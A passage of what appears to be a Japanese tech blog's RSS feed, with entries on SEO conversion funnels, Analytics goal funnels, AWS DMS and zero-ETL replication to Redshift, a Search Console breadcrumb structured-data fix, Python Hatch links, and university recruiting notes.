&lt;li&gt;Goals Detailsをクリックします。&lt;/li&gt;
&lt;li&gt;Funnel をオンにします。&lt;/li&gt;
&lt;li&gt;コンバージョンプロセスに進むために訪問するページのURLを入力します。これはウェブサイト毎に異なります。&lt;/li&gt;
&lt;li&gt;あらかじめ決められた経路がない場合は、Conversionsの下にあるReverse Goal Pathレポートで、各ゴールのコンバージョンで訪問した3つのページを確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="ページヒートマップ"&gt;ページヒートマップ&lt;/h4&gt;
&lt;p&gt;ページにヒートマップを設置し、ユーザーエンゲージメントを促進するデザインやコンテンツ要素を監視できるようにしましょう。これらの指標を使用して、ビジネスに最も影響を与えるデザイン、コンテンツ、マーケティングの取り組みの優先順位を決め、針を動かさない取り組みの優先順位を下げましょう。&lt;/p&gt;
&lt;h2 id="コンバージョンファネル-1"&gt;コンバージョンファネル&lt;/h2&gt;
&lt;p&gt;SEOマーケティングにおけるコンバージョンファネルとは、潜在顧客がウェブサイトを訪問してから商品購入や問い合わせなどの目標達成（コンバージョン）に至るまでのプロセスを段階的に可視化したものです。&lt;/p&gt;
&lt;p&gt;ファネルとは？&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.synergy-marketing.co.jp/glossary/funnel/"&gt;ファネル（漏斗）とは、広く集客した上で、ふるいにかけられた見込み顧客が、検討・商談、そして成約へ流れる中で段々と少数になっていくことをいう。 その様を図にすると、漏斗で濾した様子に似ているところからそう呼ばれている。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンバージョンファネルの概念&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;コンバージョンファネルは、顧客の購買行動を以下のような階層構造で捉えます。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;認知（Awareness）:&lt;/strong&gt; 潜在顧客が商品やサービスについて初めて知る段階。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;興味・関心（Interest）:&lt;/strong&gt; 潜在顧客が商品やサービスに興味を持ち、情報を収集し始める段階。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検討（Consideration）:&lt;/strong&gt; 潜在顧客が競合他社と比較検討し、自社の商品やサービスが最適かどうかを判断する段階。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;購入（Purchase）:&lt;/strong&gt; 潜在顧客が商品やサービスを購入する段階。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ロイヤリティ（Loyalty）:&lt;/strong&gt; 購入者が商品やサービスに満足し、継続的な利用や推奨に繋がる段階。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;SEOマーケティングにおけるコンバージョンファネルの重要性&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SEOマーケティングでは、コンバージョンファネルの各段階に合わせた施策を講じることで、効率的にコンバージョン数を増やすことができます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;認知段階:&lt;/strong&gt; 幅広いキーワードで検索エンジン上位表示を目指し、多くの潜在顧客にウェブサイトを訪問してもらう。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;興味・関心段階:&lt;/strong&gt; 潜在顧客のニーズに合った有益なコンテンツを提供し、商品やサービスへの興味を高める。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;検討段階:&lt;/strong&gt; 競合他社との比較情報や顧客の声などを掲載し、自社の商品やサービスの優位性をアピールする。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;購入段階:&lt;/strong&gt; 購入しやすいウェブサイト設計や決済方法の提供、キャンペーンの実施などにより、購入を促進する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ロイヤリティ段階:&lt;/strong&gt; 購入後のサポートや情報提供、コミュニティ形成などにより、顧客満足度を高め、リピート購入や口コミを促進する。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;コンバージョンファネルの活用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;コンバージョンファネルを分析・活用することで、以下のような効果が期待できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ボトルネックの発見:&lt;/strong&gt; コンバージョンファネルの各段階における離脱率を分析することで、改善点を見つけることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;施策の最適化:&lt;/strong&gt; 各段階に合わせた最適な施策を講じることで、コンバージョン率を高めることができます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;顧客理解の深化:&lt;/strong&gt; 顧客の購買行動を理解することで、より効果的なマーケティング戦略を立案することができます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SEOマーケティングにおいては、コンバージョンファネルの概念を理解し、各段階に合わせた施策を講じることが、成功への鍵となります。&lt;/p&gt;</description></item><item><title>AWS RedShift</title><link>https://hdknr.github.io/blogs/posts/2025/01/aws-redshift/</link><pubDate>Tue, 28 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/aws-redshift/</guid><description>&lt;h1 id="cdc"&gt;CDC&lt;/h1&gt;
&lt;p&gt;AWS環境で実現するには、主に以下の2つの方法が主流です。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;AWS DMS (Database Migration Service) の利用&lt;/strong&gt; (実績が豊富で柔軟性が高い)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Amazon RDS ゼロ ETL 統合&lt;/strong&gt; (最もシンプルで最新の選択肢)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;それぞれの構成と特徴を詳しく解説します。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="1-aws-dms-database-migration-service-を利用した構成"&gt;1. AWS DMS (Database Migration Service) を利用した構成&lt;/h2&gt;
&lt;p&gt;AWS DMSは、データベース間のデータ移行や継続的なレプリケーション（CDC）を行うための専用サービスです。&lt;/p&gt;
&lt;h3 id="構成の概要"&gt;構成の概要&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;RDS for MySQLの設定&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;MySQLの**バイナリログ（Binlog）**を有効にし、フォーマットを&lt;code&gt;ROW&lt;/code&gt;に設定します。DMSはこれを読み取って変更を追跡します。（&lt;em&gt;CDCの必須設定&lt;/em&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS DMS コンポーネント&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;レプリケーションインスタンス&lt;/strong&gt;: データ移行（レプリケーション）を実行する専用のEC2インスタンスです。ソースとターゲットの間でデータを読み書きし、マッピングや変換を行います。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ソースエンドポイント&lt;/strong&gt;: RDS for MySQLへの接続情報を定義します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ターゲットエンドポイント&lt;/strong&gt;: Amazon Redshiftへの接続情報を定義します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;移行タスク&lt;/strong&gt;: CDC（継続的レプリケーション）を定義するコア設定です。どのテーブルを移行するか、フルロード後にCDCを継続するかなどを指定します。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データフロー&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;RDS for MySQLで変更（UPDATE/INSERT/DELETE）が発生すると、その変更がBinlogに記録されます。&lt;/li&gt;
&lt;li&gt;DMSのレプリケーションインスタンスがBinlogを継続的に読み取ります。&lt;/li&gt;
&lt;li&gt;DMSは変更データをRedshiftに適した形式に変換し、Redshiftクラスターに書き込みます（通常はS3経由でCOPYコマンドを使用）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="メリットデメリット"&gt;メリット・デメリット&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;項目&lt;/th&gt;
&lt;th style="text-align: left"&gt;メリット&lt;/th&gt;
&lt;th style="text-align: left"&gt;デメリット&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;柔軟性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;非常に高く、多種多様なデータベースに対応。テーブルやスキーマのフィルタリング、データ変換（トランスフォーメーション）も可能。&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;コスト&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;レプリケーションインスタンス&lt;/strong&gt;の料金が継続的に発生する。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;運用&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;インスタンスの管理（サイズ選定、冗長性など）や、Binlogの保持期間の管理が必要。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;strong&gt;安定性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;実績が豊富で安定しているが、タスク設定やインスタンスサイズによってはチューニングが必要になる場合がある。&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="2-amazon-rds-ゼロ-etl-統合-推奨"&gt;2. Amazon RDS ゼロ ETL 統合 (推奨)&lt;/h2&gt;
&lt;p&gt;これは、2023年以降に登場した新しい機能で、最もシンプルかつ管理負担の少ないCDCの方法です。現時点ではAurora MySQLからRedshiftへの統合が中心ですが、RDS for MySQLへの対応も進んでいます。&lt;/p&gt;</description></item><item><title>Google Search Console</title><link>https://hdknr.github.io/blogs/posts/2025/01/google-search-console/</link><pubDate>Tue, 28 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/google-search-console/</guid><description>&lt;h1 id="google-search-console"&gt;Google Search Console&lt;/h1&gt;
&lt;h2 id="パンくずリストが無効"&gt;パンくずリストが無効&lt;/h2&gt;
&lt;p&gt;Google Search Console で「パンくずリストが無効です」というメッセージが表示される原因はいくつか考えられます。主な原因と対処法を以下にまとめました。&lt;/p&gt;
&lt;h3 id="主な原因"&gt;主な原因&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;構造化データのエラー&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;パンくずリストの構造化データが正しく設定されていない場合、エラーが発生します。特に、&lt;code&gt;schema.org&lt;/code&gt;の&lt;code&gt;BreadcrumbList&lt;/code&gt;形式に従っていない場合に問題が起こりやすいです&lt;a href="https://www.cyber-bridge.jp/cbmedia/webdesign/google-search-console-breadcrumb/"&gt;1&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;古いデータ形式の使用&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;data-vocabulary.org&lt;/code&gt;を使用している場合、Google はこれをサポートしなくなったため、&lt;code&gt;schema.org&lt;/code&gt;に置き換える必要があります&lt;a href="https://www.cyber-bridge.jp/cbmedia/webdesign/google-search-console-breadcrumb/"&gt;1&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;必須項目の欠如&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;itemListElement&lt;/code&gt;や&lt;code&gt;position&lt;/code&gt;などの必須項目が欠けている場合もエラーが発生します&lt;a href="https://naoyamablog.net/search-console-breadcrumb-list/"&gt;2&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="対処法"&gt;対処法&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;構造化データの確認と修正&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;schema.org&lt;/code&gt;の&lt;code&gt;BreadcrumbList&lt;/code&gt;形式に従って、パンくずリストの構造化データを設定します。以下のような形式で記述します。
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;9
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;ol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;vocab&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://schema.org/&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeof&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;BreadcrumbList&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;li&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;property&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;itemListElement&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeof&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;ListItem&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;property&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;item&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;typeof&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;WebPage&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;href&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;https://example.com/&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;span&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;property&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&amp;gt;Home&amp;lt;/&lt;span style="color:#f92672"&gt;span&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;a&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;property&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;position&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;content&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1&amp;#34;&lt;/span&gt; /&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;li&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- 他のパンくずリスト項目 --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;ol&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;data-vocabulary.org&lt;/code&gt;から&lt;code&gt;schema.org&lt;/code&gt;への移行&lt;/strong&gt;:&lt;/p&gt;</description></item><item><title>hatch</title><link>https://hdknr.github.io/blogs/posts/2025/01/hatch/</link><pubDate>Sun, 26 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/hatch/</guid><description>&lt;h1 id="hatch"&gt;hatch&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://hatch.pypa.io/1.9/"&gt;https://hatch.pypa.io/1.9/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://gihyo.jp/article/2024/05/monthly-python-2405"&gt;最近気になるツール「Hatch」でPythonプロジェクトを管理する&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>リクルーティング</title><link>https://hdknr.github.io/blogs/posts/2025/01/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0/</link><pubDate>Thu, 16 Jan 2025 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2025/01/%E3%83%AA%E3%82%AF%E3%83%AB%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0/</guid><description>&lt;h1 id="大学への求人インターンアルバイト"&gt;大学への求人/インターン/アルバイト&lt;/h1&gt;
&lt;h2 id="美大系-学内企業説明会"&gt;美大系 学内企業説明会&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;造形大学: &lt;a href="https://www.zokei.ac.jp/career/corporate/#c1"&gt;https://www.zokei.ac.jp/career/corporate/#c1&lt;/a&gt; (&lt;a href="https://www.zokei.ac.jp/industry/"&gt;アルバイト&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;多摩美術大学: &lt;a href="https://www.tamabi.ac.jp/career/job-offer/"&gt;https://www.tamabi.ac.jp/career/job-offer/&lt;/a&gt; (&lt;a href="https://www.tamabi.ac.jp/career/job-offer/"&gt;アルバイト&lt;/a&gt;, &lt;a href="https://baitonet.jp/company/more/"&gt;バイトネット&lt;/a&gt;を利用)&lt;/li&gt;
&lt;li&gt;武蔵野美術大学: &lt;a href="https://www.musabi.ac.jp/career/employer/offer/"&gt;https://www.musabi.ac.jp/career/employer/offer/&lt;/a&gt; (&lt;a href="https://www.musabi.ac.jp/career/employer/parttime/"&gt;アルバイト&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;日大芸術学部: &lt;a href="https://www.art.nihon-u.ac.jp/enterprise/"&gt;https://www.art.nihon-u.ac.jp/enterprise/&lt;/a&gt; (アルバイトは &lt;a href="https://jp.indeed.com/q-%E6%97%A5%E6%9C%AC%E5%A4%A7%E5%AD%A6%E8%8A%B8%E8%A1%93%E5%AD%A6%E9%83%A8-%E6%B1%82%E4%BA%BA.html?vjk=090cce357af703bc"&gt;indeed を利用&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;女子美術大学 &lt;a href="https://www.joshibi.ac.jp/campuslife/carriersupport/campany"&gt;https://www.joshibi.ac.jp/campuslife/carriersupport/campany&lt;/a&gt; (アルバイトも同様)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="美術系大学美大のランキング"&gt;美術系大学(美大)のランキング&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;S 東京藝術大学（東京大学）&lt;/li&gt;
&lt;li&gt;A+ 多摩美術大学（慶應義塾大学）&lt;/li&gt;
&lt;li&gt;A+ 武蔵野美術大学（早稲田大学）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;【一流美大の壁】&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A 金沢美術工芸大学（一橋大学）&lt;/li&gt;
&lt;li&gt;A- 京都市立芸術大学（大阪大学）&lt;/li&gt;
&lt;li&gt;A- 愛知県立芸術大学（名古屋大学）&lt;/li&gt;
&lt;li&gt;B+ 東京造形大学（上智大学）&lt;/li&gt;
&lt;li&gt;B+ 女子美術大学（津田塾大学）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="キャリタス-uc"&gt;キャリタス UC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://uc.career-tasu.jp/"&gt;https://uc.career-tasu.jp/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://uc.career-tasu.jp/corp/"&gt;https://uc.career-tasu.jp/corp/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;機能(無料):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;求人票配信&lt;/li&gt;
&lt;li&gt;インターンシップ情報&lt;/li&gt;
&lt;li&gt;OB/OG 情報&lt;/li&gt;
&lt;li&gt;企業メッセージ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有料(&lt;a href="https://uc.career-tasu.jp/corp/premium/"&gt;プレミアム&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エントリフォーム外部リンク設置可能&lt;/li&gt;
&lt;li&gt;セミナー情報&lt;/li&gt;
&lt;li&gt;応募書メッセージの送受信&lt;/li&gt;
&lt;li&gt;大学担当者情報/学事スケージュールの閲覧&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="関東の大学"&gt;関東の大学&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;学校名&lt;/th&gt;
&lt;th&gt;エリア&lt;/th&gt;
&lt;th&gt;区分&lt;/th&gt;
&lt;th&gt;種別&lt;/th&gt;
&lt;th&gt;大学院あり&lt;/th&gt;
&lt;th&gt;WEB エントリ受付&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;茨城大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;筑波大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;茨城県立医療大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;公立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;茨城キリスト教大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;つくば国際大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;常磐大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日本国際学園大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;流通経済大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;常磐短期大学&lt;/td&gt;
&lt;td&gt;茨城県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宇都宮大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;国立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宇都宮共和大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;作新学院大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;白鴎大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;文星芸術大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;大学&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;宇都宮短期大学&lt;/td&gt;
&lt;td&gt;栃木県&lt;/td&gt;
&lt;td&gt;私立&lt;/td&gt;
&lt;td&gt;短大&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;○&lt;/td&gt;
&lt;/tr&gt;
